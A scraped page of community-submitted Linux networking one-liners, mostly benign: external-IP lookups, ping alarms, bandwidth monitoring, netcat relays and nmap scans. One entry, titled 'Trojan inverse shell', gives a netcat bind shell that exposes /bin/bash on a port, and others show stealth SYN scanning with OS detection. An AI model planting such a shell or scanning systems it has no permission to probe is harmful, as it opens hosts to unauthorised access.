Commands tagged Network (129)

  • Get your external IP address

    curl ifconfig.me/ip -> IP Adress curl ifconfig.me/host -> Remote Host curl ifconfig.me/ua ->User Agent curl ifconfig.me/port -> Port thonks to http://ifconfig.me/


    276
    curl ifconfig.me
    aajjk · 2010-04-21 13:10:33 81
  • Set audible alarm when an IP address comes online

    Waiting for your server to finish rebooting? Issue the command above and you will hear a beep when it comes online. The -i 60 flag tells ping to wait for 60 seconds between ping, putting less strain on your system. Vary it to your need. The -a flag tells ping to include an audible bell in the output when a package is received (that is, when your server comes online).


    119
    ping -i 60 -a IP_address
    haivu · 2009-03-04 06:21:22 29
  • Watch Network Service Activity in Real-time


    101
    lsof -i
    hank · 2009-04-25 14:24:04 24
  • Create a single-use TCP (or UDP) proxy

    Redirect the local port 2000 to the remote port 3000. The same but UDP: nc -u -l -p 2000 -c "nc -u example.org 3000" It may be used to "convert" TCP client to UDP server (or viceversa): nc -l -p 2000 -c "nc -u example.org 3000"


    25
    nc -l -p 2000 -c "nc example.org 3000"
    prayer · 2009-03-01 21:28:39 21
  • send echo to socket network

    this command will send a message to the socket 25 on host 192.168.1.2 in tcp. works on udp and icmp understand only IP address, not hostname. on the other side (192.168.1.2), you can listen to this socket and test if you receive the message. easy to diagnose a firewall problem or not.


    25
    echo "foo" > /dev/tcp/192.168.1.2/25
    mobidyc · 2009-09-12 16:48:05 16
  • Get your external IP address

    Yeah I know it's been up here a million times, but this service is a really clean and nice one. Nothing but your IP address on it. Actually I was to write something like this, and noticed this on appspot... ;) Show Sample Output


    25
    curl ip.appspot.com
    ktoso · 2009-10-31 21:11:10 12
  • List alive hosts in specific subnet

    Works on any machine with nmap installed. Previous version does not work on machines without "seq". Also works on subnets of any size. Show Sample Output


    21
    nmap -sP 192.168.1.0/24
    sdadh01 · 2010-06-05 14:48:37 9
  • sniff network traffic on a given interface and displays the IP addresses of the machines communicating with the current host (one IP per line)


    21
    sudo tcpdump -i wlan0 -n ip | awk '{ print gensub(/(.*)\..*/,"\\1","g",$3), $4, gensub(/(.*)\..*/,"\\1","g",$5) }' | awk -F " > " '{print $1"\n"$2}'
    tweet78 · 2014-04-11 22:41:32 9
  • Get info about remote host ports and OS detection

    Where < target > may be a single IP, a hostname or a subnet -sS TCP SYN scanning (also known as half-open, or stealth scanning) -P0 option allows you to switch off ICMP pings. -sV option enables version detection -O flag attempt to identify the remote operating system Other option: -A option enables both OS fingerprinting and version detection -v use -v twice for more verbosity. nmap -sS -P0 -A -v < target >


    18
    nmap -sS -P0 -sV -O <target>
    starchox · 2009-02-18 07:32:03 17
  • Watch RX/TX rate of an interface in kb/s

    Just a simple way without the need of additional tools. Of course, replace eth0 with your IF. Show Sample Output


    15
    while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
    hons · 2011-03-22 10:02:23 8
  • Get all IPs via ifconfig

    works on Linux and Solaris. I think it will work on nearly all *nix-es Show Sample Output


    13
    ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
    sneaker · 2009-07-31 09:49:17 9
  • List Network Tools in Linux

    Get all the networking related commands for your distro Show Sample Output


    13
    apropos network |more
    shaiss · 2009-09-25 15:05:33 12
  • Get your external IP address without curl

    Curl is not installed by default on many common distros anymore. wget always is :) wget -qO- ifconfig.me/ip


    12
    wget -qO- icanhazip.com
    SuperJediWombat · 2010-06-24 03:49:14 8
  • Get My Public IP Address


    11
    curl ifconfig.me
    dpoblador · 2010-10-09 08:12:26 5
  • Use mtr to create a text file report

    The report mode of mtr produces a text formated result of the mtr run using the number of ping cycles stated by the command. This text file could then be attached to an email with ease. I use this also without the ">" portion when writing email from within mutt using VI from the command mode with ":r !mtr --report --report-cycles 10 Show Sample Output


    10
    mtr --report --report-cycles 10 www.google.com > google_net_report.txt
    CafeNinja · 2009-04-10 07:57:44 17
  • Get your external IP address


    9
    curl -s 'http://checkip.dyndns.org' | sed 's/.*Current IP Address: \([0-9\.]*\).*/\1/g'
    kulor · 2009-08-06 11:54:31 10
  • Get your external IP and Network Info

    Gets all kind of info, ifconfig.me rocks ... for just the ip addess you can use ifconfig.me or ifconfig.me/ip Show Sample Output


    9
    curl ifconfig.me/all
    pykler · 2012-05-16 18:22:28 8
  • mp3 streaming

    Show Sample Output


    8
    nc -l -p 2000 < song.mp3
    prayer · 2009-03-02 15:54:21 10
  • network throughput test

    On the machine acting like a server, run: iperf -s On the machine acting like a client, run: iperf -c ip.add.re.ss where ip.add.re.ss is the ip or hostname of the server. Show Sample Output


    8
    iperf -s
    forcefsck · 2011-01-24 07:58:38 19
  • Limit bandwidth usage by any program

    Trickle is a voluntary, cooperative bandwidth shaper. it works entirely in userland and is very easy to use. The most simple application is to limit the bandwidth usage of programs.


    7
    trickle -d 60 wget http://very.big/file
    point_to_null · 2010-03-29 06:55:30 5
  • Set audible alarm when an IP address comes online

    I'd rather this one on Gnome, as I'm used to be listening some music while working. I've even created a bash function which receives ADDRESS as parameter.


    7
    until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
    marcusrp · 2011-09-26 18:51:38 7
  • Simulate slow network connection locally

    Replace 500ms by the desired delay. To remove it: sudo tc qdisc del dev lo root netem delay 500ms


    7
    sudo tc qdisc add dev lo root netem delay 500ms
    caiosba · 2012-11-05 05:29:51 4
  • Find all clients connected to HTTP or HTTPS ports

    It finds, specifically, the connections to the HTTP and HTTPS ports as source ports. You can check for destination ports as well. Show Sample Output


    7
    ss -o state established '( dport = :http or sport = :https )'
    renich · 2019-08-14 17:28:13 342
  • Trojan inverse shell

    To connect to the shell run: nc server.example.org 2000


    6
    nc -l -p 2000 -e /bin/bash
    prayer · 2009-03-02 15:58:25 9
  • Check the status of a network interface


    5
    mii-tool [if]
    raphink · 2009-02-25 23:55:00 5
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Run a command only when load average is below a certain threshold
Good for one off jobs that you want to run at a quiet time. The default threshold is a load average of 0.8 but this can be set using atrun.

Convert spaces in file names to underscores

Which processes are listening on a specific port (e.g. port 80)
swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

list folders containing less than 2 MB of data
This command will search all subfolders of the current directory and list the names of the folders which contain less than 2 MB of data. I use it to clean up my mp3 archive and to delete the found folders pipe the output to a textfile & run: $ while read -r line; do rm -Rv "$line"; done < textfile

Burn CD/DVD from an iso, eject disc when finished.
cdrecord -scanbus will tell you the (x,y,z) value of your cdr (for example, mine is 3,0,0)

Run a command for blocks of output of another command
The given example collects output of the tail command: Whenever a line is emitted, further lines are collected, until no more output comes for one second. This group of lines is then sent as notification to the user. You can test the example with $ logger "First group"; sleep 1; logger "Second"; logger "group"

batch convert Nikon RAW (nef) images to JPG
converts RAW files from a Nikon DSLR to jpg for easy viewing etc. requires ufraw package

a function to create a box of '=' characters around a given string.
First argument: string to put a box around. Second argument: character to use for box (default is '=') Same as command #4948, but shorter, and without the utility function.

Backup all mysql databases to individual files on a remote server
It grabs all the database names granted for the $MYSQLUSER and gzip them to a remote host via SSH.

Most used commands from history (without perl)
I copied this (let's be honest) somewhere on internet and I just made it as a function ready to be used as alias. It shows the 10 most used commands from history. This seems to be just another "most used commands from history", but hey.. this is a function!!! :D

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